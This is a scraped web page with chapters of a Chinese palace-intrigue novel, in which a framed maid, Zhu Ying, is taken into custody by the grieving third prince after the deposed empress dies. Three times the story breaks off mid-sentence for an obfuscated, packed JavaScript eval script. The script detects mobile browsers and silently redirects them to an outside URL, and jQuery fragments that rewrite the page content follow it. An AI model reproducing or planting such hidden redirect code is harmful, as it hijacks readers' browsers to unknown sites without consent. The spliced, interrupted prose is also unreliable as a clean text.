好像哭出来了还不够,总有什么闷在胸中,使她喘息不得,恨不能将胸膛剖开,任仇恨赤裸裸地袒露。 凭什么她家破人亡,到头来一无所有,而那刻薄寡恩的皇帝还能好端端坐在鸿嘉殿里? 而她唯一能够去诉说的人,身上还流着皇帝一半的血。 “我好恨,真的好恨。” 她一遍遍诉说自己恨不得。 孟闻平静得反常,单单望着她泪如决堤,只道:“那就恨吧。” 爱也好,憎也罢,自有其存在的理由。若憎恨能教人好受,不妨随心所欲一些。 可他眼中干涩,流不出一滴泪来。 他不知该去恨谁。 孟闻回屋里解了狐裘,换上一身素衣,再坐回案前。 陆皇后病重那段时间,他很久没提笔,天寒地冻,砚台里半干的墨析出了盐。 这一回再研墨执笔,是为亡母写祭文。 角音闯进书房里来,似有十万火急之事。 “殿下,太医署的人招认,那日张太医是收受了静和宫的贿赂。” 孟闻顿笔,抬首道:“静和宫?证据确凿吗?” 角音道:“几位太医皆是人证,至于物证,太医既收了不该有的份例,自然查得出来。” 孟闻道:“去把商音也叫过来,去静和宫。” 17. 凛风鸣竹(七) 好像又下雪了,四下无人之时,静和宫柴房里,也听得到簌簌声。 已经是被关的第九日或第十日,接连几天没有人来过这里。 竺影拿起墙下那根枯枝,细细摸着墙上数道划痕,或许她忘了刻下今日那道,又或许是忘了自己已经刻下过一道。冻馁之中她几乎恍惚了,也平静了,不愿去思索更多的事。 忽然,门上的锁链哐当坠地,她手中的枯枝也应声折断。 天光从门外一涌而入,屋外的天幕与白雪惨白一片,惹得她睁不开眼。 没等竺影反应过来,就已被人捉住双臂,拖着她走出暗室。 眼前明了又暗,暗了又明,应是穿过了连廊到中庭。 最后像块破布似的,被人丢在了地上。 各色的裙裾在她眼前来来往往,致使眼花缭乱,耳边回荡着细细碎碎的人声,也听不清晰。 “张太医,你上前瞧仔细些。” “不错……就是她。” “张太医,你可看仔细了,到底是不是她?届时莫怪我错怪了人。” 这是宜夫人的声音,竺影闻声看去。 张太医一口咬定:“就是此人,下官不会错认。十一月初五那日她拿着宫牌到太医署寻医,几位医官有事要忙,皆抽不开身,她这才找上了下官,让下官前往西苑为皇后问诊,还给了下官一个锭金子。” 有一男子冷声道:“你可知欺君是什么下场?” “皇天后土在上,下官岂敢有谎?物证在此,还请殿下明辨!”张太医垂首上前,恭恭敬敬捧上他所说的物证,正是竺影给他的那枚金锭。 “当真是啊……” “我见过,是齐王赏给她的。” 静和宫的宫人议论纷纷。 竺影听明白了,宜夫人排了这一出好戏。 原来这些天留着她性命,是为了今日。 孟晓送给她的东西,寻常宫人几时能见过? “三郎,你也听到了。”宜夫人抬扇掩面,话音悠长,难掩得意,“此事皆是这个宫人所为,她出入太医署贿赂医官,乃至私自前往西苑之事,我一概不知情。” 竺影猛然抬起头,三皇子? 一身缟素撞入眼帘,竺影的视线缓缓往上,看清了那个被宜夫人称作三郎的不是别人,正是三皇子孟闻。 孟闻垂着眼看她,恰与之视线对上,沉静面上乍然浮现错愕,如一石砸碎的湖冰,万千冰棱如仞立,不免寒栗。 相视间,抹额前垂下的几丝发被寒风搅得凌乱,平添几分沧桑。 他什么也没说,却好像什么都说了。 竺影跪在地上冻得浑身发颤,似自嘲般,低低嗤笑了两声。 他因罪人是她而错愕,竺影在笑静和宫的算计。 曾几何时,她还是屡次三番前往西苑为他雪中送炭的人,转眼就成了宜夫人指认的罪魁祸首,亦或是偷鸡不成蚀把米的替罪羊? 就连收了她好处的太医,此刻也唯唯诺诺地帮着宜夫人作假证。 真真是可笑。 孟闻收回了视线,却不发话。 张太医紧接着道:“下官给鸣鸾宫开的药方上写得清清楚楚,皆是进补的药物,对病人的身子有益而无害。谁料竟有人偷偷换了药,查验了鸣鸾宫每日倾倒的药渣,竟与几位太医开的方子对不上。这换药之人居心叵测,竟然妄图谋害殿下生母!” 竺影沉沉闭上了眼,这几日在心中筹措百遍的辩解,到临场成了一言不发。 孟闻听罢张太医的申饬,继而转身看向宜夫人道:“如此说来,是静和宫里的人犯下这等祸事,算不算是夫人管教不力?” 宜夫人脸上僵了一瞬,很快又解释说:“这宫人平日里看着老实本分,谁知她藏得这么深?连我都被蒙在鼓里,看来要好好地审一审,揪出她的背后之人,还三郎一个公道,也还我静和宫一个清白。” 话毕,她悠悠摇起扇来,本来等着孟闻答应下来,让静和宫将人审了,什么解释自然是她说了算。 孟闻审视她良久,慢慢开口道:“那么这人,随我处置?” 宜夫人有些意外,不想他会直接开口要人。看向竺影时,忽有些惋惜,像是料定了她必死无疑。 “三郎既然开了口,就交由你处置罢了。至于如何审,静和宫不会过问。” 孟闻瞟了竺影一眼,咽下了其余的话,只吩咐左右:“商音,角音,把人带回去。” 宜夫人装作好言提醒道:“她可不是什么省油的灯,三郎可要审仔细了,指不定她与静和宫外的人还有什么牵连。” “此事不劳夫人费心。”孟闻漠然推却她的“好意”,仅仅行过礼便转身离开。 又下雪了,颗颗雪尘落在人眼角眉梢,模糊了前路。 一行人中,竟没有一人想起要打伞,都默默淋着雪回宫。 竺影窥望走在最前的人。 他并未穿着往日的常服,只有素白的阔袖与发带在风中荡开,与冬雪融为一体。 风雪之声愈听愈飘零。 陆皇后薨逝,她早早料到,今日才知晓。 沿途的宫灯没有罩上白布,宫门上不悬白绫,更没有宫人为此服丧。 也不知会是这么个结果。 今人为刀俎,她为鱼肉。 三皇子方承受丧母之痛,还不知道会怎样处置她。从前那么点微不足道的恩情,恐怕不够抵她这一条性命。 这一条路她很熟悉,几次三番在深夜里跑出来,前往废后的居所。 地砖凹凸不平,积雪也深深浅浅,两个侍从搀着她走得极快,令她一步一颠簸。 不知是谁口中冒出来一句:“殿下真要把她带回去?看她这副样子,怕是活不成了。” 竺影心中恼了,发不出声,只得胡乱拧一下他的胳膊。 另一人道:“你抓错人了,不是我说的。” 走在最前的人道:“你二人今日殊为聒噪。” 那两人便都不说话了。 废后已逝,他还是住在鸣鸾宫。 到了屋檐下,那两个随侍并不客气,只随手将竺影往地上一扔,惊起一地微尘,好生狼狈。 孟闻看着她,喃喃道:“原来是静和宫的人呐……” 这话说得不明就里。 竺影低着头,使劲攥着裙子使自己冷静,却好一会儿没缓过来,也没作声。 正忖度着什么样的说辞才能使她免于一死,然这人似乎没什么耐心。 刹那之间,头顶上传来铮然一声,吓得她一激灵,壮着胆子偷瞥他一眼,才发现他只是握住剑柄,正了正腰间的佩剑。 “有什么要说的?”孟闻问她。 竺影抬头看他。 他又微微俯下身,低下来几许。 “给你个机会,不狡辩一下吗?” “此前……” 她染了风寒,很久没说话,张口时声音哑得听不出。 “小人此前去过太医署,是受羽音所托。当值的几位太医无一人愿意前往,只得行贿。张太医受了小人那十金,他才肯到西苑去,为皇后诊病。小人换过太医署开给皇后的药,也明明白白呈在殿下面前,您看过的。如果说皇后病发之事与小人无关,小人从来没想过要害她,殿下会相信吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399060|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟闻不置可否,只道:“十金,可真是笔不小的数目。” 冷宫里的废后拿不出来,他这无权无势的皇子也拿不出来。 可偏偏静和宫里的一个寻常宫人轻易就拿得出手。 角音心生不忿,在一旁建言:“殿下,不如将这罪人送去狱中,就不信她扛过了刑罚,还能这般嘴硬!” 至于三皇子,他良久没发话。 陆芃从门里走出来,见到竺影就止住了脚步,停在远处旁观着。 竺影看过去,她就收回了目光。 商音走过去说道:“请女郎君回避,这样的场面还是不要见到的好。” 陆芃却道:“我来问一问表兄,耽搁了这么久,今日是否还要去延鹤宫?” 字里行间尽是催促,竺影听出了这是在为她解围。 孟闻回望她一眼,这时才开口:“移交给别人审问,怕是当晚就弄死了,能问出什么来?” 商音问:“那该如何处置?” 那人的目光落在竺影冻伤的一双手上,悄然叹息:“叫徴音过来,把她带下去吧。” 商音又问:“栖梧宫是否要查?怕是杜修容也免不了嫌疑。” 半晌,孟闻道:“先不必去查了,母亲刚走,不该让这样的人惊扰她。” 此时没有发落,也谈不上放过。 他憔悴了,穿着一身孝服,又在雪景里黯淡了许多。 看着竺影时,那神色淡淡的,掺了些讥讽。 她想,其中应当有恨吧。 宜夫人是个聪明人,此举既能令三皇子横在恩与仇之间,左右为难,又能借刀杀人除掉竺影,不至于亲自动手,引得她与齐王母子交恶。 至于孟闻,如果他想要留下这个替罪羊,就必须接受宜夫人给他的“交代”,也就没法继续向静和宫发难,无法替亡母讨一个真正的公道。 竺影体会过他的悲哀,那些位高权重者说什么就是什么,不论是竺家人,还是陆家人从来没有得到过一个真正的“真相”。 徴音奉命过来时,孟闻已离开了鸣鸾宫。 竺影来到鸣鸾宫这天,是停灵的第三日,陆皇后的棺椁已经移至延鹤宫停放。 他刚从静和宫里回来,便要过去守灵。 竺影跟随徴音穿过外廊,去往内院。 一路上,她单单望着两棵从王府移栽过来的棠棣树,落光了叶子,只剩下横斜的枝柯,成活都是问题。 椿萱不茂,棠棣无华。 庭院里弥漫着浓重的烟气,仅是从中庭走过就已携了满袖的香。 香气弥散,使人靡靡。 这样浓重的香气,应当焚了许多香料,且都并非廉价之物。 名贵的香粉似不要钱的投进香炉里,香料熏燎的烟气与香烛、纸钱燃烧的烟气混杂一起,在鸣鸾宫中缭绕了三天三夜,不知道还有多久才能散尽。 皇后生前最喜制香,可被废以后,已多年不焚香。 竺影猜到这宫里的香是谁焚的。 陆家的女郎已很久没有这样奢靡过了,她在以这种方式送亲人最后一程。 天灾不断,人祸不断啊。 徴音转过头来同她说道:“殿下吩咐了,大家都在夫人的后事奔忙,没有闲暇去收拾新的屋子,委屈你暂且与我住在一块吧。” 竺影并未多言,只点头道:“劳烦你了。” 从前她巴不得离开静和宫,千辛万苦爬出泥潭,转头陷入另一处泥淖。走得匆忙,什么也没来得及带上。 这么些天,孟晓送她的那一对蛐蛐,应该冻死在瓮里了吧。 只是想来,有些可惜。 18. 凛风鸣竹(八) 竺影在榻上昏睡了一日。前段时日活得战战兢兢,入梦也浑浑噩噩。 清醒时,发觉有人在身侧。 那人执一竹片,在给她手上的伤口上药。 膏药冰凉,抹上冻疮却又觉得发烫,又痛又痒。 竺影忍不住睁开了眼,一声不吭地看着。守着她的人不是徴音,而是陆芃。 平日里口嫌体直说厌极了她,此时又认真地给她擦药,竺影倒是一点也不意外。 竺影见她披着一身缟素,此刻低头上药,面上不见泪痕,眼中不见悲怆,只有红肿的眼证明她曾有过一场恸哭。 短短十几日,体会过短暂的失而复得,继而是长久的失去。 竺影依旧默不作声,没有解释,也没有开解她。 陆芃甫一抬眼,发现竺影醒着,两条眉毛便又竖了起来。 两人视线相接的一刹,又即刻分离,各自移开眼去。 醒枝还是那个陆醒枝,张口便要呛一句:“知道醒了?半月不见,我还以为你死了呢。” 竺影却怔忡着道:“对不起。” 她很久没说话,声音还哑着。 “不是像从前那样,我是真的——真的想要去救她。” 陆芃道:“同我说这些做什么?你以为我是什么人?以为我会怎么去想你?” 竺影道:“我只是对你不住。” 陆芃原本早就不哭了,不知是竺影的那句话又拨开她心绪,让干涸的泪又找到源头,止不住地往外冒。 夺眶而出的泪水“啪嗒”落在竺影手背上。 “知道对不住,你还不如闭嘴呢!”她仿佛恨极了这样的失态,胡乱抹去眼泪,忙手忙脚收起膏药。 竺影果真闭了嘴,没再说话。 陆芃又道:“答应你的事我记得,表兄那里我什么也没说,更不会去帮你求情。” 竺影道:“好。” 哪怕将万千误解咽下使之如鲠在喉,也不愿将半句解释诉之于口。 陆芃给她上完了药便离去。 不久,竺影也披衣下榻,想出去走走。 睡了太久,意识有些昏沉,冷意总是能让人清醒。 “你醒了啊。”徴音身着缟素,端着衣案从连廊的另一端走来。 “嗯。”竺影淡淡回应。 徴音怕她四处乱走,于是提醒着:“殿下还未回来,你——暂且留在鸣鸾宫吧。” 竺影问:“三皇子何时会回来?” 徴音道:“我也不知晓,殿下守在延鹤宫,葬仪还要持续好几日。你若有什么缺的,只管问我便好。” 竺影道:“好,多谢你。” 徴音又把给她准备的衣裳递过去,同她道:“将这身衣裳换下吧。” 鸣鸾宫人皆素衣,只有她一身旧衣鲜妍得扎眼。 “好。”竺影回屋换了衣裳,将头发绾成了寻常宫人的发髻。 只有陆皇后身边的几人在她死后为之守丧,白衣、白绫、白雪,让岁暮的光景更加惨淡。 两日后,襄王与齐王进宫,依礼前往延鹤宫祭拜陆皇后,便各自回宫拜问母亲。 孟晓火急火燎赶往静和宫,甫一进门见过礼,便问起:“鸣竹去了哪里?她为何不在宫里?” 宜夫人轻呷一口茶,搁下茶盏,不紧不慢地开口:“你半月未进宫,一见面不问君父不问母亲,倒先找起一个宫女来了,也不怕惹人闲话。” 孟晓道:“我知道你从不喜欢她,你也明知我为何会先问她。” “她曾以我的名义去太医署为冷宫的人请医,又几次三番与冷宫的人接触,有谋害废后之嫌。两日前被孟闻带走了,这会不是在牢狱里,就是被抬出宫去了。”说完,她晏晏笑着,“这样的结果,我儿满意否?” 孟晓按住指上白玉环,咬牙道:“你说什么?” 宜夫人道:“不信的话,你自己去太医署好好地问一问,我可有冤枉她。她是你的人,在你眼皮子底下做了那些背主的勾当,你全然不晓吗?” 孟晓道:“她所行之事我尽数知晓,反倒是母亲,您所做之事——” 他竟一概不晓。 他冷笑道:“儿不知母,倒像是今日才认识您。” 宜夫人怒道:“住口!” 孟晓向她辞行,便踏出门去,或是往鸣鸾宫,或是往掖庭。 三皇子在这日傍晚回了一趟鸣鸾宫。 彼时他在寝殿中更衣,徴音匆匆把竺影叫到三皇子的书房前候着。 孟闻换好衣裳从殿中出来,告知一旁的羽音:“今日让徴音随我前去,你留在这里。我今夜在延鹤宫守灵,不回来了,殿里不用留灯。” “是。”羽音点头应道。 孟闻又抬手指了指竺影,说道:“你,也一并跟着。” 竺影并不知三皇子为何叫上她,但也并未多言,戴上徴音递来的风帽,便一道出了门。 他没有乘辇,只有两个持宫灯,两个持华盖的宫人跟随,徒步去往延鹤宫。 彼时东阳门雪霁,又一批新选的宫人跟随着内官入宫,过东阳门,往掖庭宫。 从鸣鸾宫到延鹤宫,刚好会经过这里。 正巧,掖庭宫外,杂役正将那些被杖杀的宫人从偏门抬了出去,血气凝滞,尸身一具接着一具。 竺影远远地看着,险些,她也成了其中之一。 无数人向往金碧辉煌的章华殿,憧憬一人之下万人之上的荣华,殊不知这座宫城里,既有醴泉宫,也有阎罗殿。 宫奴的性命微不足惜,哪怕曾贵为皇后,今也不过灵柩中的形骸。 生者,也不过游走于宫墙下的行尸走肉而已。 正当此时,一个玄衣玄冠的男子快步流星越过宫门,阻在那些杂役面前,不知说了些什么。后有更多的宫人从他身后涌出,掀开蒙在那些尸首上的白布,一个个地查看、辨认。 竺影先认出来了,那人正是今日进宫的齐王。 不在延鹤宫祭拜,也不去静和宫见宜夫人,出现在此次是在寻谁呢? 寻她吗? 一个差点死在这个冬日的人。 拜宜夫人所赐的冻馁之苦她还没忘。 竺影胸中气还没消,见他这样着急忙慌,才觉得好受些许。 “在看什么?” 孟闻忽然出声,是在问她。 竺影道:“没什么。” 孟闻却直指向掖庭宫外一番“奇景”,问她道:“你可认得他?” 竺影顺着他指的方向看去,没有否认:“认得,齐王出宫以前,小人曾侍奉过他。” “竟也坦诚。”他故作惊讶,又问,“你可知,他在找什么?” 竺影清楚,三皇子是在试探她。 这时她又有所隐瞒,只道:“不知晓。” 面对竺影的回避,他也并未过多追问,只在回过身时,讥讽地轻叹一句:“奇也怪哉。” 竺影默默跟在华盖之后,将风帽拉低了些,转过头去,刻意不去看掖庭宫外那个失态的疯子。 竺影跟着他行过很远一段路,看他穿过风雪,虔诚地赶到亡母灵柩前。 她忽然想起很久以前,听某位大人物说起三皇子少时于林场失鹿的故事,许多年前曾是美谈,放到如今倒不见得。 因一时恻隐,他所失去的究竟是鹿,还是别的什么? 也许陆皇后看懂了,从她离开西苑的那一刻,就没想过要活着。 竺影看着他的背影,喃喃自语道:“这么简单的道理,怎么会看不懂?” 三皇子求得陛下,召京畿始宁寺的僧人入宫做法事,寥寥几位僧人正在常侍的指引下依次步入殿中,清一色的僧袍袈裟从眼前掠过。 延鹤宫里香火弥漫,靡靡的佛唱声延伸出屋宇,飘向更遥远的旷道。 三皇子独自走向灵柩,竺影与徴音跪在阶下,只能远远看着停放在宫殿正中的梓宫。棺椁漆黑,其上盖着一张画帛,用朱漆与金漆描绘了一张天上、人间、黄泉的画卷。 它好端端停放在那儿,却让竺影生了错觉。 好像困在宫城的废后并未因死而解脱。 周遭所有事物,诸如僧人的佛唱、檐下的白绫、虔诚跪拜的三皇子、肃穆守在此处的宫人、乃至皇宫的秩序……周遭的一切如同锁链,层层束缚,将她永远困在了这座宫城里,不得解脱。 三皇子在延鹤宫守了一夜,竺影就也跟着他在此处待了一夜,更多的时候是跪坐着,听僧人念经,诉皇后生平。夜幕降下后,余下的只是更为长久的静默。 整整七日,他每一夜都要这样守。深冬风雪肆虐,漫漫长夜也变得更难捱。 翌日晨光熹微,竺影才等到三皇子从台阶上走下来,跟他一道回鸣鸾宫。 这一夜她饱受折磨,跪得双腿麻木,人也麻木,差点就站不起来了,更别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401834|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提还得穿过大半个宫城走回去。 酷刑,不外如是。 回到宫中,三皇子吩咐徴音可以回去歇息了,至于竺影,他还是随手一指,说道:“你随我来。” 竺影这才想起,其实关于她的审问与处置尚未开始。 孟闻进了书房便开始置纸笔研磨,他自顾自坐着,从始至终没分给她半分眼神。 竺影能做的也只是等待,哪怕累极了,也只能强忍困意睁开双眼,看着他手中墨条在砚中打转,一下一下地搓磨,如一柄利刃悬于头顶,凝成了煎熬。 孟闻开口:“昨日,你见到那些抬出去的死人了。” 竺影道:“见到了。” 他低头研墨,落下一句轻飘飘的威胁:“你再敢有半句谎言,便也是那样的下场。” 竺影于筵席外伏首而拜,道:“小人不敢。” 这是她的第一句谎。 他显然没什么反应,又问起:“宜夫人为何单单拿你抵罪?你得罪过她?” 竺影道:“兴许得罪过,夫人不容我,是因为齐王。” 孟闻道:“这么说来,你是我皇兄手底下的人?” “算是吧。”她思来想去,挑了个还算严谨的答案。 他不容含糊,刨根问底:“什么叫算是?” 静和宫的人都把她当作齐王豢养在宫中的姬妾,竺影不愿挑明这层关系,只能回答说: “曾经是。” “哦——”他侧目看过来,打量道,“如今怎的又不是了?” 竺影道:“他出宫开府,将小人留在宫中了。” 话语间,孟闻隐隐察觉出一些微妙的情绪,不得不正视起她来。 他复而问道:“当初是他指使你来了西苑?你既是得了齐王授意前往太医属,受宜夫人指认时为何不做辩解?” 竺影道:“齐王与夫人素有嫌隙,子不知母,母不知子,夫人不知齐王驱使我,齐王亦不知夫人想借此杀害我。” 他忽而抚掌,皮里阳秋:“倒是从未听说过,这么快就把你主子给卖了,你还真是‘忠诚’。我问过许多人,他们皆不知你有亲眷,更不知你从前。我若是宜夫人,一定不会选这么个人去顶罪。无亲无故的,捏不住把柄,更不可能忠心,她竟不怕你抖出这些事来。” 竺影平静道:“她以为我活不过当日。” 孟闻道:“也是。” 那日被拖去掖庭杖毙的宫人数不胜数,都是陛下亲自下的令,只有眼前这人,承着弑母之恨,却包庇了许多宫人。 “我明明查到了罪人,那罪人却狡辩,以刀杀人,是刀之过,而非杀人者之过,还拿他家门口的石狮子来抵罪,岂不荒唐?”他神色悲戚,无可奈何地叹惋,“可是古往今来,这样的事情又多了去。” 竺影没有附和。 孟闻终于放下墨条,将毛笔递给她。 “再将那药方默一份。” “什么药方?” 孟闻道:“你此前去西苑,将太医署开的药换成了什么,都一一写下来,一味也不准少。” 竺影接过笔,端坐在案前,依他的要求将那治伤寒的药方默写下来。 她书写的间隙,另一人也不闲着。玉色的指尖轻敲着案上书卷,那卷书正是载着宫人底细的档案。 “鸣竹,十年入宫,年十五,在掖庭一年,栖梧宫一年,静和宫四年,算下来刚好二十有一……” 他一边敲,一边念,像是刻意要扰得她心神不宁。 可她一夜未合眼,今晨执笔却丝毫不抖,字迹也不曾歪斜。 孟闻道:“从前那些借口编得一点也不像样。先母在西苑七年,而你入宫不过六年,如何能见过她?如何能受她恩典?” 竺影放下笔,平静道:“小人得见先皇后,是在宁朔九年以前。而后小人才因家族获罪入宫的。” 宁朔九年,陆氏一族惨死于刑台上,她的父兄也牵连其中。也是在同一年,陆皇后被废,竺影明知此案是横在他心中的一根刺,还是不知好歹地提起。 孟闻攥着拳头没有作声。 待墨迹干透,她将写好的药方呈上。 他似乎生气了,竟是看也不看一眼,只说:“你可以走了。” “是。”她片刻也不犹豫,当即起身拜别。 像是怕竺影会错了意,他又专门提醒:“只让你走出这扇门,没准你离开鸣鸾宫。” 19. 凛风鸣竹(九) 时维宁朔十五年冬十二月,废后的棺椁在延鹤宫停灵第七日,法事毕,于岁暮廿四出殡,葬于京畿之南,绮亭之东。 一国之后,曾浩浩汤汤走进宫城里,末了黯然离去,潦草断送一生。 葬礼不过七日而已,其实世间也不剩几个来送她的故人。 只有她遗留世间的孩子,陆氏存余的后人,还有从前侍奉她的宫人。 三皇子于灵前焚祭文告于泰山府君,火舌蔓延得快,竺影只看得最后一段。 “愿母早得归,于此长安歇。倘使逝者得以凭虚御风,行过四海,览遍八荒。心如野鹤,尘网何能缚?纵游览于蓬蒿之间,亦胜困于金阙万千……” 可观者自清楚,人死如灯灭,哪有什么魂归天地间。 有的不过是一点幻想,这些幻想能让活着的人好受些。 祭文焚尽,余一盆残灰,生者最后一点念想,也随帛书被火苗吞噬殆尽。 送完亡母最后一程,孟闻还要回到那座宫城里。 尚常侍也在法事结束后,再度来替陛下传话。 “陛下召三皇子去鸿嘉殿。” 陛下在此时召见他,是为何事,众人皆摸不着头脑。 孟闻却似猜到了,神色微动,难掩疲惫,只依礼道:“劳尚常侍稍等片刻,我即刻便往。” 尚泓瞥他一身素衣,好言提醒:“小人在此恭候三皇子更衣。” 孟闻没再拒绝,往内室去,脱下一身孝服,换了身浅色的长褶衣,又披一件结绿色氅衣,便出了门,随尚常侍前往鸿嘉殿。 皇帝正与几位大臣在殿中议事。 除了秘书令、太史令、尚书左仆射王若几位常客外,尚书令陈柯、太常崔慎、侍中杨恒之、侍郎兼给事中容桢也在。 崔太常道:“明年浴佛节陛下要亲谒佛寺,可始宁寺仍待修缮,宫里又才翻新了东宫与后宫。陛下看——观星楼是否可以暂缓?” 孟雍不悦道:“朕叫你来是说这些的?这天底下哪一处不是百废待兴,怎么皇城的缓不得,京畿的缓不得,偏偏就并州缓得?” 王若从中缓和道:“佛诞在四月,为时尚早。再说始宁寺前两年才修过一遭,年年修葺倒也不必。崔太常只需负责典礼,怎还操心起将作监的事了?” 其余几人也点头道:“是极是极。” 逢此时,尚常侍引三皇子入殿中。 孟闻先拜见陛下,随后见过几位大人,与崔太常道:“国之大事,在祀与戎。*太常所忧亦是情理之中,苦于今年各地灾患不断,国中开支众多,二者难以齐头并进。陛下先重北地,自有他的考量,并州与乌护接壤,乃我朝军事重地,然民生凋敝久矣,连年轻徭薄赋,却不足以休养生息,不足以供养军备。只怕一延再延,积弊更深。” 众人皆道:“不错。” 孟闻所言,亦是陛下所想。 只是此前北地诸事由梁氏总揽,顾及中书令的情面,无人敢当面诉之于口罢了。 孟雍倚凭几而笑,问从嘉:“这话是你教他说的?” 祝从嘉道:“并非,陛下指臣为三皇子讲学,才是几日前的事,彼时三皇子尚在延鹤宫。” 孟闻道:“臣所言,是从一本名为《禳灾》的书中学得,在秘阁偶然见得,便读了。” 陛下听了,深色未变,只是殿中有两人,听闻“禳灾”二字,迟滞了一瞬。 从前与陆尚书同在北地督军事的同僚,说没听过这本书,自然是假的。 三皇子说了这番话,崔太常也就噤了声,不再多言。 他既愿往北地揽下这个烂摊子,旁人自是不会阻拦。 旁观者如何不知,三皇子幼年之时提笔识字,少年之期挽弓跨马,皆由陛下亲自教抚。 在所有的皇子当中,陛下最喜欢的便是这第三子。 三郎少时与两位兄长出猎,只有他猎不得鹿,空手而归。陛下不曾怨责,反倒自嘲一笑:“朕为人父,却不善为人师,比不得宫中教习射术的老师,安能怪三郎学艺不精?” 后来稚子长成,能拉得开更重的弓,却再也没进过鹿苑。 到如今三皇子离开西苑,一步步走到鸿嘉殿里。此时襄王不在,齐王也不在。皇帝的心思,众臣皆已明了。 议完北地之事,皇帝命容侍郎与孟闻同往北地,便屏退众臣。 大殿里只有父子二人。 俄而窗外雪晴。 晴光透过窗格,照得鎏金香炉与连枝灯光彩迷离,也照得华服上的金线流光熠熠。 皇帝身形初显佝偻,裹在宽大的衣袍之下,他的确老了。 孟闻看向皇帝说道:“父皇当初所言之事,儿臣如今懂了。” 这几日他没有落泪,只是煎熬了几个彻夜,眼下乌青,稍显憔悴。 他初来那回,跪在阶下,与鸿嘉殿格格不入。 一身锦衣玉冠,才将那个承风雪的少年从破败之地拉回来,融入这富丽堂皇的宫阙。 皇帝忽感欣慰,同他道:“王若忠贞敦厚,可以为佐。祝从嘉知经天纬地,通古今政事,可以为师。杨恒之是个秉直中正之人,若逢歧路,可与之求教。他三人我皆信得过,便放心使其为你引路。” 孟闻再度看着他,难免愕然,心中忽然抽痛了一下。 只听皇帝说道:“新正是个吉日,一年伊始,万象更新。届时收拾妥当,迁居东宫吧。” 他口中的话,自是不会有戏言。 孟闻起身离席长拜道:“儿臣叩谢陛下。” 东宫储君,废出自皇帝之口,立也出自皇帝之口。 不日立太子的诏书传至恩光殿,满朝轰动,诸多大臣惊诧不已,从前扶助襄王与齐王的臣子更是将牙咬碎了往肚里咽。 独独皇太子像个物件一样,被从架子上拿下来,又放回去。不因此喜,不为此悲,也从来都拒绝不得。 睢言最后一日流连故所,想在这座宫殿里找寻所有生母留下的痕迹。 金丝笼中早就不豢鸟雀了,檐下悬挂笼子的金钩索还留着。承重的楠木柱子后,清漆下还藏着小儿拿刀刻下的涂画,一笔一划,顽劣又天真。 这是他幼时成长的居所,有时肆意玩赖,行走殿中,撞进慈母裙佩里,扑得满面兰樨香。 陛下也会在下朝后来到鸣鸾宫,亲自督查他的课业,叮嘱他不许扰母亲头疼。 那是极其久远的记忆了。 孟闻枯坐在皇后生前的寝殿,回看眼前,角落里的一株兰无人照料早已经枯死,金兽炉中的香料早就燃尽了,时隔多日走在宫中,还能闻到未曾消散的香气。 镂花门外的的人影来来往往,正在将那些不常用的饰物拆去。 其实折费人力翻修的鸣鸾宫,压根没沾染过几天人气,就永远失去了它的主人。 日头落在宫城的重重屋檐后,岑寂落在鸣鸾宫每一寸的角落。 孟闻靠坐在屏风后,有人持纱灯一盏,推门而来,缓缓行至他跟前。 长裙曳地,他仰首看清了那一道影,影影绰绰匿在灯火中,竟有些失望。 “这么晚了,你来做什么?” 徴音道:“是女郎君让我过来看看,她放心不下殿下。” 话音落下,灯火也划过眼前,点燃架子上的灯烛,照彻大半个宫室。 孟闻徐徐扶着漆木屏风起身,说道:“有什么可担心的,我不是让你看着那人吗?你来了这里,还有何人盯着她?” 徴音说道:“鸣竹啊,她早就睡下了。” 孟闻道:“刀架在脖子上,难得她还能睡得安稳。” 徴音道:“可我观察了许多天,她如常作息,时常独处,也不喜与旁人往来。” 孟闻道:“真是稀奇。” 徴音道:“静和宫里冤死的人不少,殿下会不会冤枉了她?明日齐王进宫,何不同他问个清楚?” 孟闻道:“罢了,你看着她便是。” 徴音点头道好,又劝道:“夜已深了,明日就要迁去东宫,殿下早些休息吧。” “你先回去,不必管我。”孟闻扶着柱子,缓缓绕过屏风,凝睇墙上几幅字画。“我只是想再看看这里罢了……” 徴音轻掩上门出去,没再打搅他。 岁聿云暮,暖意随天光一寸寸北移,日子也一天天从脚底滑过。 转眼一岁已除,太子迁去了东宫,不忘将竺影这替罪羔羊也一并带上。 东宫正殿为恩光殿,左右另有崇庆殿、德音殿两座偏殿。偏殿后建有几间轩房,都空置着,应当是给太子未来的姬妾准备的。 恩光殿东边有座二层小阁楼,楼上悬着一块匾,题名为“洗春”。洗春阁原是堆放各种珍玩藏品的库房,善本古籍尽数收纳其中,太子殿下便将此地划为书房使用。 原本侍奉陆皇后的两个宫人徴音、羽音到东宫以后,分别做了恩光殿与德音殿的管事。另两个对竺影没好气的侍从——角音和商音,成了太子近侍,跟随左右。 轮到竺影时,太子略略皱眉,随手一指:“看着是个通文墨的,让她到洗春阁去罢。” 就这么一句话,随意安置了她。 于是她成了洗春阁的女史。 早在几年前,杜修容要荐她去做的女史,如履薄冰几年,还是逃不开。 竺影真想撂挑子啊。 只得安慰自己,待在这里至少比在静和宫好些,太子好歹是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 